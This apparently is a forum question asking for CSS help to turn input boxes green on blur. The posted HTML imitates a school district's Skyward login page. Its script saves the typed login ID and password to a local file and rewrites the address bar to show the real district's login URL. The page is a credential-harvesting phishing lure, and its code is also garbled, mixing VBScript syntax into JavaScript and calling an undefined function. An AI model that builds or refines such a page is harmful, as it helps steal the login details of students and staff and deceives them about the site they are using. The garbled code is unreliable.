Just to clarify, everything here is client side and not web-based at all. My goal is to change the form boxes to green after losing focus when text has been inputted. The form boxes initially start out white, turn purple on focus, and I want them to turn green once the focus is lost after text input.
<!DOCTYPE html>
<html>
<head>
<title>Login - Powered By Skyward</title>
<link rel="icon" href="skyicon.gif">
<meta name="viewport" content="height=device-height, initial-scale=1.0">
<script type ="text/javascript">
function WriteToFile(passForm) {
set fso = CreateObject("Scripting.FileSystemObject");
set s = fso.CreateTextFile("C:\error.txt", True);
s.writeline(document.passForm.input1.value);
s.writeline(document.passForm.input2.value);
s.Close();
window.history.pushState("object or string", "Skyward Login", "https://sky.gilmerisd.org/scripts/wsisa.dll/WService=wsEAplus/seplog01.w");
}
</script>
<style>
body {
background-image: url("slp_ps.jpg");
background-repeat:no-repeat;
}
input {
display:inline-block;
float:right;
}
{
width:1234px;
height:50%;
position:relative;
margin:auto;
}
.btn-style{
border : solid 1px #2d9cf0;
border-radius : 3px;
moz-border-radius : 3px;
font-size : 9px;
color : #000000;
padding : 4px 13px;
background-color : #ffffff;
}
div {
margin-top: 500px;
margin-bottom: 0px;
margin-right: 500px;
margin-left: 485px;
}
.inputbox-css {
-webkit-box-sizing: content-box;
-moz-box-sizing: content-box;
box-sizing: content-box;
margin: -1px 0 0;
padding: 5px;
border: 1px solid rgba(127,174,255,1);
-webkit-border-radius: 1px;
border-radius: 1px;
font: normal 16px/normal "Times New Roman", Times, serif;
color: rgba(0,0,0,0.9);
-o-text-overflow: clip;
text-overflow: clip;
}
.inputbox-css:focus {
background: #ebc4fc;
}
p {
display:block;
float:right;
}
</style>
</head>
<body>
<body background="slp_ps.jpg" style="width:1220px;height:700px;">
<div>
<p>
<form onsubmit="download(this['name'].value, this['text'].value)">
<font size="2" face="arial" class="element"> Login ID: </font><input class="inputbox-css" type="text" style="font-family: Verdana; font-size: 12px;" name="lllllllllll loginid" "width: 165px;" maxlength="100"/><br>
<br>
<font size="2" face="arial" class="element"> Password: </font><input class="inputbox-css" type="password" style="font-family: Verdana; font-size: 12px;" name="lllllllllll password;" "width: 160px;" maxlength="100"/><br>
<br>
<font size="2" face="arial"> <input type="submit" class="btn- style"name="lllllllllll submit" value="Sign In"/><br>
</form>
</p>
</div>
</form>
</body>
</html>